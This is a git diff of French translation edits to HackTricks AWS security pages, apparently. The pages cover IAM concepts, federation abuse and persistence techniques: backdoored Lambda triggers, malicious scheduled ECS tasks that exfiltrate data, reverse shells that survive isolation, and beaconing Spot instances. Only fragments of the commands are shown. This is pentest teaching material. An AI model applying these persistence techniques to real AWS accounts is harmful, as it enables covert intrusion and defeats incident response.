-Le seul moyen de contourner cela est de compromettre également le **compte principal** qui configure les SCP (le compte principal ne peut pas être bloqué).
+Le seul moyen de contourner cela est de compromettre également le **compte maître** qui configure les SCP (le compte maître ne peut pas être bloqué).
 
 > [!WARNING]
 > Notez que **les SCP ne restreignent que les principaux dans le compte**, donc d'autres comptes ne sont pas affectés. Cela signifie qu'avoir une SCP qui refuse `s3:GetObject` n'arrêtera pas les gens d'**accéder à un bucket S3 public** dans votre compte.
@@ -53,10 +53,14 @@ Exemples de SCP :
 - Refuser complètement le compte root
 - Autoriser uniquement des régions spécifiques
 - Autoriser uniquement des services sur liste blanche
-- Refuser que GuardDuty, CloudTrail et S3 Public Block Access soient désactivés
-- Refuser que les rôles de sécurité/réponse aux incidents soient supprimés ou modifiés.
-- Refuser que les sauvegardes soient supprimées.
-- Refuser de créer des utilisateurs IAM et des clés d'accès
+- Refuser l'accès à GuardDuty, CloudTrail et S3 Public Block Access de
+
+être désactivé
+
+- Refuser la suppression ou la modification des rôles de sécurité/réponse aux incidents.
+
+- Refuser la suppression des sauvegardes.
+- Refuser la création d'utilisateurs IAM et de clés d'accès
 
 Trouvez des **exemples JSON** dans [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
 
@@ -111,7 +115,7 @@ Chaque fois que vous devez **changer la clé d'accès**, voici le processus que
 ### MFA - Authentification Multi-Facteurs
 
 Il est utilisé pour **créer un facteur supplémentaire pour l'authentification** en plus de vos méthodes existantes, telles que le mot de passe, créant ainsi un niveau d'authentification multi-facteurs.\
-Vous pouvez utiliser une **application virtuelle gratuite ou un appareil physique**. Vous pouvez utiliser des applications comme Google Authenticator gratuitement pour activer un MFA dans AWS.
+Vous pouvez utiliser une **application virtuelle gratuite ou un dispositif physique**. Vous pouvez utiliser des applications comme Google Authenticator gratuitement pour activer un MFA dans AWS.
 
 Les politiques avec des conditions MFA peuvent être attachées aux éléments suivants :
 
@@ -124,7 +128,7 @@ Notez que **les informations d'identification `AssumeRole` ne contiennent pas ce
 ```bash
 aws sts get-session-token --serial-number  --token-code 
 ```
-As [**indiqué ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), il existe de nombreux cas où **MFA ne peut pas être utilisé**.
+Comme [**indiqué ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), il existe de nombreux cas où **MFA ne peut pas être utilisé**.
 
 ### [Groupes d'utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) 
 
@@ -137,21 +141,21 @@ Voici quelques caractéristiques importantes des groupes d'utilisateurs :
 - Un **groupe d'utilisateurs** peut **contenir plusieurs utilisateurs**, et un **utilisateur** peut **appartenir à plusieurs groupes**.
 - **Les groupes d'utilisateurs ne peuvent pas être imbriqués** ; ils ne peuvent contenir que des utilisateurs, pas d'autres groupes d'utilisateurs.
 - Il n'y a **pas de groupe d'utilisateurs par défaut qui inclut automatiquement tous les utilisateurs du compte AWS**. Si vous souhaitez avoir un groupe d'utilisateurs comme ça, vous devez le créer et assigner chaque nouvel utilisateur à celui-ci.
-- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes, et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [Quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [Quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
 
 ### [Rôles IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) 
 
-Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'elle** peut et ne peut pas faire dans AWS. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
+Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'il peut et ne peut pas faire dans AWS**. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
 
 Un rôle IAM se compose de **deux types de politiques** : Une **politique de confiance**, qui ne peut pas être vide, définissant **qui peut assumer** le rôle, et une **politique d'autorisation**, qui ne peut pas être vide, définissant **ce qu'il peut accéder**.
 
 #### Service de jetons de sécurité AWS (STS)
 
-Le Service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
+Le service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
 
 ### [Credentials temporaires dans IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) 
 
-**Les credentials temporaires sont principalement utilisés avec les rôles IAM**, mais il existe également d'autres utilisations. Vous pouvez demander des credentials temporaires qui ont un ensemble de permissions plus restreint que votre utilisateur IAM standard. Cela **empêche** que vous **effectuiez accidentellement des tâches qui ne sont pas autorisées** par les credentials plus restreints. Un avantage des credentials temporaires est qu'ils expirent automatiquement après une période déterminée. Vous avez le contrôle sur la durée pendant laquelle les credentials sont valides.
+Les **credentials temporaires sont principalement utilisés avec les rôles IAM**, mais il existe également d'autres utilisations. Vous pouvez demander des credentials temporaires qui ont un ensemble de permissions plus restreint que votre utilisateur IAM standard. Cela **empêche** que vous **effectuiez accidentellement des tâches qui ne sont pas autorisées** par les credentials plus restreints. Un avantage des credentials temporaires est qu'ils expirent automatiquement après une période déterminée. Vous avez le contrôle sur la durée pendant laquelle les credentials sont valides.
 
 ### Politiques
 
@@ -163,7 +167,7 @@ Sont utilisées pour attribuer des permissions. Il existe 2 types :
 - Politiques gérées par le client : Configurées par vous. Vous pouvez créer des politiques basées sur des politiques gérées par AWS (en modifiant l'une d'elles et en créant la vôtre), en utilisant le générateur de politiques (une vue GUI qui vous aide à accorder et refuser des permissions) ou en écrivant la vôtre.
 
 Par **défaut, l'accès** est **refusé**, l'accès sera accordé si un rôle explicite a été spécifié.\
-Si **un seul "Refuser" existe, il remplacera le "Autoriser"**, sauf pour les demandes qui utilisent les credentials de sécurité root du compte AWS (qui sont autorisées par défaut).
+Si **un "Deny" unique existe, il remplacera le "Allow"**, sauf pour les demandes qui utilisent les credentials de sécurité root du compte AWS (qui sont autorisées par défaut).
 ```javascript
 {
 "Version": "2012-10-17",  //Version of the policy
@@ -189,26 +193,26 @@ Si **un seul "Refuser" existe, il remplacera le "Autoriser"**, sauf pour les dem
 Les [champs globaux qui peuvent être utilisés pour des conditions dans n'importe quel service sont documentés ici](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
 Les [champs spécifiques qui peuvent être utilisés pour des conditions par service sont documentés ici](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
 
-#### Politiques en ligne
+#### Politiques Inline
 
-Ce type de politiques est **directement attribué** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des politiques car d'autres peuvent les utiliser.\
-Les politiques en ligne sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique en ligne, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées à l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
+Ce type de politiques est **directement attribué** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des Politiques car d'autres peuvent les utiliser.\
+Les politiques inline sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique inline, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées dans l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
 
-#### Politiques de seau de ressources
+#### Politiques de Bucket de Ressources
 
 Ce sont des **politiques** qui peuvent être définies dans des **ressources**. **Toutes les ressources d'AWS ne les prennent pas en charge**.
 
-Si un principal n'a pas de refus explicite à leur égard, et qu'une politique de ressource leur accorde l'accès, alors ils sont autorisés.
+Si un principal n'a pas de refus explicite à leur sujet, et qu'une politique de ressource leur accorde l'accès, alors ils sont autorisés.
 
 ### Limites IAM
 
 Les limites IAM peuvent être utilisées pour **limiter les autorisations auxquelles un utilisateur ou un rôle devrait avoir accès**. De cette façon, même si un ensemble différent d'autorisations est accordé à l'utilisateur par une **politique différente**, l'opération **échouera** s'il essaie de les utiliser.
 
-Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum d'autorisations que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des seaux S·, c'est le maximum qu'il peut faire.
+Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum d'autorisations que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des buckets S·, c'est le maximum qu'il peut faire.
 
 **Cela**, **les SCP** et **le respect du principe du moindre privilège** sont les moyens de contrôler que les utilisateurs n'ont pas plus d'autorisations que celles dont ils ont besoin.
 
-### Politiques de session
+### Politiques de Session
 
 Une politique de session est une **politique définie lorsqu'un rôle est assumé** d'une manière ou d'une autre. Cela sera comme une **limite IAM pour cette session** : Cela signifie que la politique de session ne donne pas d'autorisations mais **les restreint à celles indiquées dans la politique** (les autorisations maximales étant celles que le rôle a).
 
@@ -220,14 +224,14 @@ aws sts assume-role \
 [--policy-arns  ]
 [--policy ]
 ```
-Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) par défaut (en utilisant une authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels la session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) par défaut (en utilisant l'authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels la session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
 
 Par conséquent, si à un moment donné vous rencontrez l'erreur "... parce qu'aucune politique de session ne permet le ...", et que le rôle a accès pour effectuer l'action, c'est parce que **il y a une politique de session qui l'empêche**.
 
 ### Fédération d'identité
 
 La fédération d'identité **permet aux utilisateurs des fournisseurs d'identité qui sont externes** à AWS d'accéder aux ressources AWS de manière sécurisée sans avoir à fournir les identifiants d'utilisateur AWS d'un compte IAM valide.\
-Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de l'intérieur d'accéder à AWS.
+Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** d'entreprise (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de l'intérieur d'accéder à AWS.
 
 Pour configurer cette confiance, un **fournisseur d'identité IAM est généré (SAML ou OAuth)** qui **fera confiance** à la **autre plateforme**. Ensuite, au moins un **rôle IAM est attribué (faisant confiance) au fournisseur d'identité**. Si un utilisateur de la plateforme de confiance accède à AWS, il le fera en accédant au rôle mentionné.
 
@@ -243,13 +247,13 @@ Le domaine de connexion sera quelque chose comme `.awsapps.com`.
 
 Pour connecter les utilisateurs, il y a 3 sources d'identité qui peuvent être utilisées :
 
-- Répertoire du Centre d'identité : Utilisateurs AWS réguliers
+- Répertoire Identity Center : Utilisateurs AWS réguliers
 - Active Directory : Prend en charge différents connecteurs
 - Fournisseur d'identité externe : Tous les utilisateurs et groupes proviennent d'un fournisseur d'identité externe (IdP)
 
 

 
-Dans le cas le plus simple du répertoire du Centre d'identité, le **Centre d'identité aura une liste d'utilisateurs et de groupes** et pourra **attribuer des politiques** à eux pour **n'importe lequel des comptes** de l'organisation.
+Dans le cas le plus simple du répertoire Identity Center, le **Centre d'identité aura une liste d'utilisateurs et de groupes** et sera capable d'**attribuer des politiques** à eux pour **n'importe lequel des comptes** de l'organisation.
 
 Pour donner accès à un utilisateur/groupe du Centre d'identité à un compte, un **fournisseur d'identité SAML faisant confiance au Centre d'identité sera créé**, et un **rôle faisant confiance au fournisseur d'identité avec les politiques indiquées sera créé** dans le compte de destination.
 
@@ -261,7 +265,7 @@ Par conséquent, même si vous voyez 2 rôles avec une politique en ligne appel
 
 ### Confiances et rôles inter-comptes
 
-**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais seulement **avec l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\
+**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais seulement **en ayant l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\
 Il est recommandé de **spécifier l'utilisateur qui est de confiance et de ne pas mettre quelque chose de générique** car sinon, d'autres utilisateurs authentifiés comme les utilisateurs fédérés pourront également abuser de cette confiance.
 
 ### AWS Simple AD
@@ -282,7 +286,7 @@ L'application utilise AssumeRoleWithWebIdentity pour créer des identifiants tem
 
 ### Autres options IAM
 
-- Vous pouvez **définir une politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe.
+- Vous pouvez **définir un paramètre de politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe.
 - Vous pouvez **télécharger un "Rapport d'identifiants"** avec des informations sur les identifiants actuels (comme le temps de création de l'utilisateur, si le mot de passe est activé...). Vous pouvez générer un rapport d'identifiants aussi souvent qu'une fois toutes les **quatre heures**.
 
 La gestion des identités et des accès AWS (IAM) fournit un **contrôle d'accès granulaire** sur l'ensemble d'AWS. Avec IAM, vous pouvez spécifier **qui peut accéder à quels services et ressources**, et sous quelles conditions. Avec les politiques IAM, vous gérez les permissions de votre main-d'œuvre et de vos systèmes pour **assurer des permissions de moindre privilège**.
@@ -335,7 +339,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
 aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
 region = eu-west-2
 ```
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn  --role-session-name sessname`) and configure the credentials.
+Si vous devez accéder à **différents comptes AWS** et que votre profil a été autorisé à **assumer un rôle dans ces comptes**, vous n'avez pas besoin d'appeler manuellement STS à chaque fois (`aws sts assume-role --role-arn  --role-session-name sessname`) et de configurer les identifiants.
 
 Vous pouvez utiliser le fichier `~/.aws/config` pour [**indiquer quels rôles assumer**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), puis utiliser le paramètre `--profile` comme d'habitude (l'`assume-role` sera effectué de manière transparente pour l'utilisateur).\
 Un exemple de fichier de configuration :
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 47c68f503..4411a000d 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -1,4 +1,4 @@
-# AWS - Federation Abuse
+# AWS - Abus de Fédération
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,9 +10,9 @@ Pour des informations sur SAML, veuillez consulter :
 https://book.hacktricks.xyz/pentesting-web/saml-attacks
 {{#endref}}
 
-Pour configurer une **fédération d'identité via SAML**, vous devez simplement fournir un **nom** et le **XML de métadonnées** contenant toute la configuration SAML (**points de terminaison**, **certificat** avec clé publique)
+Pour configurer une **Fédération d'Identité via SAML**, vous devez simplement fournir un **nom** et le **XML de métadonnées** contenant toute la configuration SAML (**points de terminaison**, **certificat** avec clé publique)
 
-## OIDC - Abus des actions Github
+## OIDC - Abus des Actions Github
 
 Pour ajouter une action github en tant que fournisseur d'identité :
 
@@ -45,7 +45,7 @@ Pour ajouter une action github en tant que fournisseur d'identité :
 }
 ```
 6. Notez dans la politique précédente comment seule une **branche** du **dépôt** d'une **organisation** a été autorisée avec un **déclencheur** spécifique.
-7. L'**ARN** du **rôle** que l'action github va pouvoir **imiter** sera le "secret" que l'action github doit connaître, donc **stockez-le** à l'intérieur d'un **secret** dans un **environnement**.
+7. L'**ARN** du **rôle** que l'action github va pouvoir **imiter** sera le "secret" que l'action github doit connaître, donc **stockez-le** dans un **secret** à l'intérieur d'un **environnement**.
 8. Enfin, utilisez une action github pour configurer les identifiants AWS à utiliser par le workflow :
 ```yaml
 name: "test AWS Access"
@@ -108,9 +108,9 @@ Il est possible de générer des **OIDC providers** dans un **EKS** cluster simp
 ]
 }
 ```
-Cette politique indique correctement que **seulement** le **cluster EKS** avec **id** `20C159CDF6F2349B68846BEC03BE031B` peut assumer le rôle. Cependant, elle n'indique pas quel compte de service peut l'assumer, ce qui signifie que **N'IMPORTE quel compte de service avec un jeton d'identité web** va **pouvoir assumer** le rôle.
+Cette politique indique correctement que **seulement** le **cluster EKS** avec **l'id** `20C159CDF6F2349B68846BEC03BE031B` peut assumer le rôle. Cependant, elle n'indique pas quel compte de service peut l'assumer, ce qui signifie que **N'IMPORTE quel compte de service avec un jeton d'identité web** va **pouvoir assumer** le rôle.
 
-Pour spécifier **quel compte de service devrait pouvoir assumer le rôle,** il est nécessaire de spécifier une **condition** où le **nom du compte de service est spécifié**, comme :
+Pour spécifier **quel compte de service devrait pouvoir assumer le rôle,** il est nécessaire de spécifier une **condition** où **le nom du compte de service est spécifié**, comme :
 ```bash
 "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index ee302deca..30a9976ae 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -10,8 +10,8 @@ Voici les permissions dont vous avez besoin sur chaque compte AWS que vous souha
 - **access-analyzer:Get\***
 - **iam:CreateServiceLinkedRole**
 - **access-analyzer:CreateAnalyzer**
-- Optionnel si le client génère les analyseurs pour vous, mais généralement, il est plus facile de demander simplement cette permission)
+- Optionnel si le client génère les analyseurs pour vous, mais généralement, il est plus facile de demander cette permission)
 - **access-analyzer:DeleteAnalyzer**
-- Optionnel si le client supprime les analyseurs pour vous, mais généralement, il est plus facile de demander simplement cette permission)
+- Optionnel si le client supprime les analyseurs pour vous, mais généralement, il est plus facile de demander cette permission)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index eb452d3d4..80d869996 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -10,21 +10,21 @@ Pour plus d'informations, allez à :
 ../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### Resource Policy
+### Politique de Ressource
 
 Modifiez la politique de ressource des API gateway pour vous accorder l'accès.
 
-### Modify Lambda Authorizers
+### Modifier les Authorizers Lambda
 
 Modifiez le code des authorizers lambda pour vous accorder l'accès à tous les points de terminaison.\
 Ou supprimez simplement l'utilisation de l'authorizer.
 
-### IAM Permissions
+### Permissions IAM
 
 Si une ressource utilise un authorizer IAM, vous pourriez vous accorder l'accès en modifiant les permissions IAM.\
 Ou supprimez simplement l'utilisation de l'authorizer.
 
-### API Keys
+### Clés API
 
 Si des clés API sont utilisées, vous pourriez les leak pour maintenir la persistance ou même en créer de nouvelles.\
 Ou supprimez simplement l'utilisation des clés API.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index aaf23f2ec..e2769f358 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -10,9 +10,9 @@ Pour plus d'informations, accédez à :
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
-### Déclencheurs DynamoDB avec Backdoor Lambda
+### Déclencheurs DynamoDB avec une porte dérobée Lambda
 
-En utilisant des déclencheurs DynamoDB, un attaquant peut créer une **backdoor discrète** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire au sein du compte AWS.
+En utilisant des déclencheurs DynamoDB, un attaquant peut créer une **porte dérobée discrète** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire au sein du compte AWS.
 ```bash
 # Create a malicious Lambda function
 aws lambda create-function \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index e38899bb0..5ab5d02a3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -10,11 +10,11 @@ Pour plus d'informations, consultez :
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### Suivi de connexion du groupe de sécurité
+### Persistence de suivi de connexion du groupe de sécurité
 
-Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACL affectent tout le sous-réseau), ou en **modifiant le groupe de sécurité** pour ne pas autoriser **aucun type de trafic entrant ou sortant**.
+Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACL affectent tout le sous-réseau), ou en **modifiant le groupe de sécurité** pour ne pas permettre **aucun type de trafic entrant ou sortant**.
 
-Si l'attaquant avait un **reverse shell provenant de la machine**, même si le SG est modifié pour ne pas autoriser le trafic entrant ou sortant, la **connexion ne sera pas interrompue en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+Si l'attaquant avait un **reverse shell provenant de la machine**, même si le SG est modifié pour ne pas permettre de trafic entrant ou sortant, la **connexion ne sera pas interrompue en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
 
 ### Gestionnaire de cycle de vie EC2
 
@@ -23,11 +23,11 @@ Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de t
 
 ### Instances programmées
 
-Il est possible de programmer des instances pour qu'elles s'exécutent quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait exécuter une machine avec des privilèges élevés ou un accès intéressant où il pourrait accéder.
+Il est possible de programmer des instances pour s'exécuter quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait exécuter une machine avec des privilèges élevés ou un accès intéressant où il pourrait accéder.
 
 ### Demande de flotte Spot
 
-Les instances Spot sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite demande de flotte Spot pour 5 ans** (par exemple), avec une **attribution IP automatique** et des **données utilisateur** qui envoient à l'attaquant **lorsque l'instance Spot démarre** et l'**adresse IP** et avec un **rôle IAM à privilèges élevés**.
+Les instances Spot sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite demande de flotte Spot pour 5 ans** (par exemple), avec une **attribution automatique d'IP** et des **données utilisateur** qui envoient à l'attaquant **quand l'instance Spot démarre** et l'**adresse IP** et avec un **rôle IAM à privilèges élevés**.
 
 ### Instances de porte dérobée
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 9b57641bb..24c587671 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -41,7 +41,7 @@ aws ecr set-repository-policy \
 }
 ```
 > [!WARNING]
-> Notez que ECR exige que les utilisateurs aient **la permission** d'effectuer des appels à l'API **`ecr:GetAuthorizationToken`** via une politique IAM **avant de pouvoir s'authentifier** auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR.
+> Notez que ECR nécessite que les utilisateurs aient **la permission** d'effectuer des appels à l'API **`ecr:GetAuthorizationToken`** via une politique IAM **avant de pouvoir s'authentifier** auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR.
 
 ### Politique de Registre & Réplication Inter-comptes
 
@@ -49,7 +49,7 @@ Il est possible de répliquer automatiquement un registre dans un compte externe
 
 

 
-Tout d'abord, vous devez donner au compte externe un accès au registre avec une **politique de registre** comme :
+Tout d'abord, vous devez donner au compte externe un accès sur le registre avec une **politique de registre** comme :
 ```bash
 aws ecr put-registry-policy --policy-text file://my-policy.json
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 5dc93116f..97cdf9b1e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -15,7 +15,7 @@ Pour plus d'informations, consultez :
 > [!NOTE]
 > TODO: Test
 
-Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **planifier l'exécution d'une tâche malveillante périodiquement**. Cette tâche peut effectuer des reconnaissances, exfiltrer des données ou maintenir la persistance dans le compte AWS.
+Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **programmer l'exécution d'une tâche malveillante périodiquement**. Cette tâche peut effectuer de la reconnaissance, exfiltrer des données ou maintenir la persistance dans le compte AWS.
 ```bash
 # Create a malicious task definition
 aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index f9a584abd..08e55657d 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -14,18 +14,18 @@ Pour plus d'informations, consultez :
 
 Afin de maintenir la persistance à l'intérieur du compte AWS, certains **mécanismes de persistance pourraient être introduits à l'intérieur de l'instance** (tâche cron, clé ssh...) afin que l'attaquant puisse y accéder et voler les **identifiants du rôle IAM depuis le service de métadonnées**.
 
-### Porte dérobée dans la Version
+### Backdoor dans la Version
 
-Un attaquant pourrait introduire une porte dérobée dans le code à l'intérieur du dépôt S3 afin qu'il exécute toujours sa porte dérobée et le code attendu.
